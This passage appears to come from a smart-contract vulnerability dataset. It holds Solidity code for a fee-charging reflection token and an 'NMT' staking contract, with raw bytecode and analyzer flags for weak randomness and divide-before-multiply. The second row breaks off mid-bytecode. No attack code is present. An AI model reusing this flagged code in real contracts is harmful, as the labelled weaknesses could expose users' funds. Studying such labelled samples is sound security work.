(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 burnFee, uint256 charityFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
uint256 currentRate = _getRate();
uint256 rBurnFee = burnFee.mul(currentRate);
_tTotal = _tTotal.sub(burnFee); // subtract 2% burn from total supply
_rTotal = _rTotal.sub(rBurnFee); // subtract 2% burn from reflection supply
emit Transfer(sender, recipient, tTransferAmount);
emit Transfer(sender, _charityWallet, charityFee);
emit Transfer(_msgSender(), address(0), burnFee);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 burnFee, uint256 charityFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
uint256 amount = tAmount;
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(amount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, burnFee, charityFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(3); // 3% reflection fee to token holders
uint256 burnFee = tAmount.div(100).mul(2); // 2% tax to burn
uint256 charityFee = tAmount.div(100).mul(1); // 1% to charity wallet address
uint256 tTransferAmount = tAmount.sub(tFee).sub(burnFee).sub(charityFee);
return (tTransferAmount, tFee, burnFee, charityFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 0x608060405234801561001057600080fd5b506004361061018d5760003560e01c806370a08231116100e3578063cba0e9961161008c578063f2fde38b11610066578063f2fde38b1461049b578063f84354f1146104c1578063fa93f883146104e75761018d565b8063cba0e99614610421578063dd62ed3e14610447578063f2cc0c18146104755761018d565b806395d89b41116100bd57806395d89b41146103c1578063a457c2d7146103c9578063a9059cbb146103f55761018d565b806370a082311461036f578063715018a6146103955780638da5cb5b1461039d5761018d565b806323b872dd11610145578063395093511161011f578063395093511461030157806340710e6f1461032d5780634549b0391461034a5761018d565b806323b872dd146102905780632d838119146102c6578063313ce567146102e35761018d565b8063095ea7b311610176578063095ea7b31461022e57806313114a9d1461026e57806318160ddd146102885761018d565b8063053ab1821461019257806306fdde03146101b1575b600080fd5b6101af600480360360208110156101a857600080fd5b5035610504565b005b6101b96105f2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f35781810151838201526020016101db565b50505050905090810190601f1680156102205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61025a6004803603604081101561024457600080fd5b506001600160a01b0381351690602001356106a5565b604080519115158252519081900360200190f35b6102766106c3565b60408051918252519081900360200190f35b6102766106c9565b61025a600480360360608110156102a657600080fd5b506001600160a01b038135811691602081013590911690604001356106cf565b610276600480360360208110156102dc57600080fd5b503561075c565b6102eb6107c4565b6040805160ff9092168252519081900360200190f35b61025a6004803603604081101561031757600080fd5b506001600160a01b0381351690602001356107cd565b6101af6004803603602081101561034357600080fd5b5035610821565b6102766004803603604081101561036057600080fd5b508035906020013515156108bd565b6102766004803603602081101561038557600080fd5b50356001600160a01b0316610951565b6101af6109b3565b6103a5610a89565b604080516001600160a01b039092168252519081900360200190f35b6101b9610a98565b61025a600480360360408110156103df57600080fd5b506001600160a01b038135169060200135610b14565b61025a6004803603604081101561040b57600080fd5b506001600160a01b038135169060200135610b82565b61025a6004803603602081101561043757600080fd5b50356001600160a01b0316610b96565b6102766004803603604081101561045d57600080fd5b506001600160a01b0381358116916020013516610bb4565b6101af6004803603602081101561048b57600080fd5b50356001600160a01b0316610bdf565b6101af600480360360208110156104b157600080fd5b50356001600160a01b0316610db7565b6101af600480360360208110156104d757600080fd5b50356001600160a01b0316610ee3565b6102eb600480360360208110156104fd57600080fd5b503561114a565b600061050e611154565b6001600160a01b03811660009081526007602052604090205490915060ff16156105695760405162461bcd60e51b815260040180806020018281038252602c815260200180611f9e602c913960400191505060405180910390fd5b600061057483611158565b5050506001600160a01b0386166000908152600460205260409020549394506105a89392508491505063ffffffff6111c516565b6001600160a01b038316600090815260046020526040902055600a546105d4908263ffffffff6111c516565b600a55600b546105ea908463ffffffff61120e16565b600b55505050565b60018054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561069b5780601f106106705761010080835404028352916020019161069b565b820191906000526020600020905b81548152906001019060200180831161067e57829003601f168201915b5050505050905090565b60006106b96106b2611154565b8484611268565b5060015b92915050565b600b5490565b60095490565b60006106dc848484611354565b610752846106e8611154565b61074d85604051806060016040528060288152602001611f04602891396001600160a01b038a16600090815260066020526040812090610726611154565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61161816565b611268565b5060019392505050565b6000600a5482111561079f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611e4a602a913960400191505060405180910390fd5b60006107a96116af565b90506107bb838263ffffffff6116d816565b9150505b919050565b60035460ff1690565b60006106b96107da611154565b8461074d85600660006107eb611154565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61120e16565b600061082b6116af565b9050600061083f838363ffffffff61171a16565b600954909150610855908463ffffffff6111c516565b600955600a5461086b908263ffffffff6111c516565b600a556000610878611154565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050565b6000600954831115610916576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161093657600061092684611158565b509496506106bd95505050505050565b600061094184611158565b509396506106bd95505050505050565b6001600160a01b03811660009081526007602052604081205460ff161561099157506001600160a01b0381166000908152600560205260409020546107bf565b6001600160a01b0382166000908152600460205260409020546106bd9061075c565b6109bb611154565b6001600160a01b03166109cc610a89565b6001600160a01b031614610a27576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b6000546001600160a01b031690565b60028054604080516020601f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600187161502019094168590049384018190048102820181019092528281526060939092909183018282801561069b5780601f106106705761010080835404028352916020019161069b565b60006106b9610b21611154565b8461074d85604051806060016040528060258152602001611fca6025913960066000610b4b611154565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61161816565b60006106b9610b8f611154565b8484611354565b6001600160a01b031660009081526007602052604090205460ff1690565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b610be7611154565b6001600160a01b0316610bf8610a89565b6001600160a01b031614610c53576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff1615610cc1576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526004602052604090205415610d1b576001600160a01b038116600090815260046020526040902054610d019061075c565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b0316600081815260076020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b610dbf611154565b6001600160a01b0316610dd0610a89565b6001600160a01b031614610e2b576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610e705760405162461bcd60e51b8152600401808060200182810382526026815260200180611e746026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610eeb611154565b6001600160a01b0316610efc610a89565b6001600160a01b031614610f57576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16610fc4576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b60085481101561114657816001600160a01b031660088281548110610fe857fe5b6000918252602090912001546001600160a01b0316141561113e57600880547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff810190811061103357fe5b600091825260209091200154600880546001600160a01b03909216918390811061105957fe5b600091825260208083209190910180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03948516179055918416815260058252604080822082905560079092522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905560088054806110e157fe5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055019055611146565b600101610fc7565b5050565b603c908190040690565b3390565b60008060008060008060008060008060006111728c611773565b935093509350935060006111846116af565b90508c60008080611196848987611805565b92509250925082828289898d8d9f509f509f509f509f509f509f50505050505050505050919395979092949650565b600061120783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611618565b9392505050565b600082820183811015611207576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166112ad5760405162461bcd60e51b8152600401808060200182810382526024815260200180611f7a6024913960400191505060405180910390fd5b6001600160a01b0382166112f25760405162461bcd60e51b8152600401808060200182810382526022815260200180611e9a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166113995760405162461bcd60e51b8152600401808060200182810382526025815260200180611f556025913960400191505060405180910390fd5b6001600160a01b0382166113de5760405162461bcd60e51b8152600401808060200182810382526023815260200180611e276023913960400191505060405180910390fd5b6000811161141d5760405162461bcd60e51b8152600401808060200182810382526029815260200180611f2c6029913960400191505060405180910390fd5b600e544203600f61142d8261114a565b60ff1610156114be5761143e610a89565b6001600160a01b0316846001600160a01b0316141580156114785750611462610a89565b6001600160a01b0316836001600160a01b031614155b156114be57600d548211156114be5760405162461bcd60e51b8152600401808060200182810382526027815260200180611ebc6027913960400191505060405180910390fd5b6001600160a01b03841660009081526007602052604090205460ff1680156114ff57506001600160a01b03831660009081526007602052604090205460ff16155b156115145761150f848484611853565b611612565b6001600160a01b03841660009081526007602052604090205460ff1615801561155557506001600160a01b03831660009081526007602052604090205460ff165b156115655761150f848484611a68565b6001600160a01b03841660009081526007602052604090205460ff161580156115a757506001600160a01b03831660009081526007602052604090205460ff16155b156115b75761150f848484611b33565b6001600160a01b03841660009081526007602052604090205460ff1680156115f757506001600160a01b03831660009081526007602052604090205460ff165b156116075761150f848484611b8d565b611612848484611b33565b50505050565b600081848411156116a75760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561166c578181015183820152602001611654565b50505050905090810190601f1680156116995780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008060006116bc611c1c565b90925090506116d1828263ffffffff6116d816565b9250505090565b600061120783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d91565b600082611729575060006106bd565b8282028284828161173657fe5b04146112075760405162461bcd60e51b8152600401808060200182810382526021815260200180611ee36021913960400191505060405180910390fd5b60008080808061179b600361178f88606463ffffffff6116d816565b9063ffffffff61171a16565b905060006117b5600261178f89606463ffffffff6116d816565b905060006117cf600161178f8a606463ffffffff6116d816565b905060006117f5826117e985818d8963ffffffff6111c516565b9063ffffffff6111c516565b9993985091965094509092505050565b600080808061181a878663ffffffff61171a16565b9050600061182e878763ffffffff61171a16565b90506000611842838363ffffffff6111c516565b929992985090965090945050505050565b600080600080600080600061186788611158565b96509650965096509650965096506118ad88600560008d6001600160a01b03166001600160a01b03168152602001908152602001600020546111c590919063ffffffff16565b6001600160a01b038b166000908152600560209081526040808320939093556004905220546118e2908863ffffffff6111c516565b6001600160a01b03808c1660009081526004602052604080822093909355908b1681522054611917908763ffffffff61120e16565b6001600160a01b038a1660009081526004602052604090205561193a8582611df6565b60006119446116af565b90506000611958868363ffffffff61171a16565b60095490915061196e908763ffffffff6111c516565b600955600a54611984908263ffffffff6111c516565b600a556040805185815290516001600160a01b03808e1692908f16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3600c546040805187815290516001600160a01b03928316928f16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a36000611a1a611154565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3505050505050505050505050565b6000806000806000806000611a7c88611158565b9650965096509650965096509650611ac287600460008d6001600160a01b03166001600160a01b03168152602001908152602001600020546111c590919063ffffffff16565b6001600160a01b03808c16600090815260046020908152604080832094909455918c16815260059091522054611afe908363ffffffff61120e16565b6001600160a01b038a16600090815260056020908152604080832093909355600490522054611917908763ffffffff61120e16565b6000806000806000806000611b4788611158565b96509650965096509650965096506118e287600460008d6001600160a01b03166001600160a01b03168152602001908152602001600020546111c590919063ffffffff16565b6000806000806000806000611ba188611158565b9650965096509650965096509650611be788600560008d6001600160a01b03166001600160a01b03168152602001908152602001600020546111c590919063ffffffff16565b6001600160a01b038b16600090815260056020908152604080832093909355600490522054611ac2908863ffffffff6111c516565b600a546009546000918291825b600854811015611d5957826004600060088481548110611c4557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611caa5750816005600060088481548110611c8357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611cc157600a5460095494509450505050611d8d565b611d076004600060088481548110611cd557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054849063ffffffff6111c516565b9250611d4f6005600060088481548110611d1d57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054839063ffffffff6111c516565b9150600101611c29565b50600954600a54611d6f9163ffffffff6116d816565b821015611d8757600a54600954935093505050611d8d565b90925090505b9091565b60008183611de05760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561166c578181015183820152602001611654565b506000838581611dec57fe5b0495945050505050565b600a54611e09908363ffffffff6111c516565b600a55600b54611e1f908263ffffffff61120e16565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cf787e7e6fd8bdf6d14e9b07773b1dff0bd8295707c889f70b9fe0c5b88e1c4464736f6c63430006020033 | {"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,108 |
0x6060522b05ef28e03337a5b0b442769b703d9227 | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// 'NMT' Staking smart contract
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// SafeMath library
// ----------------------------------------------------------------------------
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function allowance(address tokenOwner, address spender) external view returns (uint256 remaining);
function transfer(address to, uint256 tokens) external returns (bool success);
function approve(address spender, uint256 tokens) external returns (bool success);
function transferFrom(address from, address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Stake is Owned {
using SafeMath for uint256;
address public NMT = 0xd9A6803f41A006CBf389f21e55D7A6079Dfe8DF3;
uint256 public totalStakes = 0;
uint256 stakingFee = 25; // 2.5%
uint256 unstakingFee = 25; // 2.5%
uint256 public totalDividends = 0;
uint256 private scaledRemainder = 0;
uint256 private scaling = uint256(10) ** 12;
uint public round = 1;
struct USER{
uint256 stakedTokens;
uint256 lastDividends;
uint256 fromTotalDividend;
uint round;
uint256 remainder;
}
mapping(address => USER) stakers;
mapping (uint => uint256) public payouts; // keeps record of each payout
event STAKED(address staker, uint256 tokens, uint256 stakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 unstakingFee);
event PAYOUT(uint256 round, uint256 tokens, address sender);
event CLAIMEDREWARD(address staker, uint256 reward);
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external {
require(IERC20(NMT).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = 0;
if(totalStakes > 0)
_stakingFee= (onePercent(tokens).mul(stakingFee)).div(10);
if(totalStakes > 0)
// distribute the staking fee accumulated before updating the user's stake
_addPayout(_stakingFee);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
stakers[msg.sender].stakedTokens = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedTokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.add(tokens.sub(_stakingFee));
emit STAKED(msg.sender, tokens.sub(_stakingFee), _stakingFee);
}
// ------------------------------------------------------------------------
// Owners can send the funds to be distributed to stakers using this function
// @param tokens number of tokens to distribute
// ------------------------------------------------------------------------
function ADDFUNDS(uint256 tokens) external {
require(IERC20(NMT).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account");
_addPayout(tokens);
}
// ------------------------------------------------------------------------
// Private function to register payouts
// ------------------------------------------------------------------------
function _addPayout(uint256 tokens) private{
// divide the funds among the currently staked tokens
// scale the deposit and add the previous remainder
uint256 available = (tokens.mul(scaling)).add(scaledRemainder);
uint256 dividendPerToken = available.div(totalStakes);
scaledRemainder = available.mod(totalStakes);
totalDividends = totalDividends.add(dividendPerToken);
payouts[round] = payouts[round-1].add(dividendPerToken);
emit PAYOUT(round, tokens, msg.sender);
round++;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function CLAIMREWARD() public {
if(totalDividends > stakers[msg.sender].fromTotalDividend){
uint256 owing = pendingReward(msg.sender);
owing = owing.add(stakers[msg.sender].remainder);
stakers[msg.sender].remainder = 0;
require(IERC20(NMT).transfer(msg.sender,owing), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, owing);
stakers[msg.sender].lastDividends = owing; // unscaled
stakers[msg.sender].round = round; // update the round
stakers[msg.sender].fromTotalDividend = totalDividends; // scaled
}
}
// ------------------------------------------------------------------------
// Get the pending rewards of the staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function pendingReward(address staker) private returns (uint256) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
stakers[staker].remainder += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return amount;
}
function getPendingReward(address staker) public view returns(uint256 _pendingReward) {
uint256 amount = ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)).div(scaling);
amount += ((totalDividends.sub(payouts[stakers[staker].round - 1])).mul(stakers[staker].stakedTokens)) % scaling ;
return (amount + stakers[staker].remainder);
}
// ------------------------------------------------------------------------
// Stakers can un stake the staked tokens using this function
// @param tokens the number of tokens to withdraw
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external {
require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercent(tokens).mul(unstakingFee)).div(10);
// add pending rewards to remainder to be claimed by user later, if there is any existing stake
uint256 owing = pendingReward(msg.sender);
stakers[msg.sender].remainder += owing;
require(IERC20(NMT).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens);
stakers[msg.sender].lastDividends = owing;
stakers[msg.sender].fromTotalDividend= totalDividends;
stakers[msg.sender].round = round;
totalStakes = totalStakes.sub(tokens);
if(totalStakes > 0)
// distribute the un staking fee accumulated after updating the user's stake
_addPayout(_unstakingFee);
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercent(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2));
return onePercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// @param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedNMT(address staker) external view returns(uint256 stakedNMT){
return stakers[staker].stakedTokens;
}
// ------------------------------------------------------------------------
// Get the NMT balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourNMTBalance(address user) external view returns(uint256 NMTBalance){
return IERC20(NMT).balanceOf(user);
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063bf9befb111610066578063bf9befb1146101ea578063ca84d591146101f2578063dac7e66f1461020f578063f2fde38b14610235576100ea565b80638da5cb5b146101bd578063997664d7146101c5578063b53d6c24146101cd576100ea565b80632c75bcda116100c85780632c75bcda1461014a5780634baf782e146101695780634df9d6ba14610171578063660f076114610197576100ea565b8063146ca531146100ef5780631fd5654d1461010957806329652e861461012d575b600080fd5b6100f761025b565b60408051918252519081900360200190f35b610111610261565b604080516001600160a01b039092168252519081900360200190f35b6100f76004803603602081101561014357600080fd5b5035610270565b6101676004803603602081101561016057600080fd5b5035610282565b005b6101676104e1565b6100f76004803603602081101561018757600080fd5b50356001600160a01b0316610661565b6100f7600480360360208110156101ad57600080fd5b50356001600160a01b031661072b565b6101116107ae565b6100f76107bd565b610167600480360360208110156101e357600080fd5b50356107c3565b6100f7610890565b6101676004803603602081101561020857600080fd5b5035610896565b6100f76004803603602081101561022557600080fd5b50356001600160a01b0316610a35565b6101676004803603602081101561024b57600080fd5b50356001600160a01b0316610a50565b60085481565b6001546001600160a01b031681565b600a6020526000908152604090205481565b3360009081526009602052604090205481118015906102a15750600081115b6102f2576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6000610314600a61030e60045461030886610ab2565b90610add565b90610b3f565b9050600061032133610b81565b3360008181526009602052604090206004018054830190556001549192506001600160a01b039091169063a9059cbb9061035b8686610c4d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156103a157600080fd5b505af11580156103b5573d6000803e3d6000fd5b505050506040513d60208110156103cb57600080fd5b505161041e576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b336000908152600960205260409020546104389084610c4d565b33600090815260096020526040902090815560018101829055600554600280830191909155600854600390920191909155546104749084610c4d565b60028190551561048757610487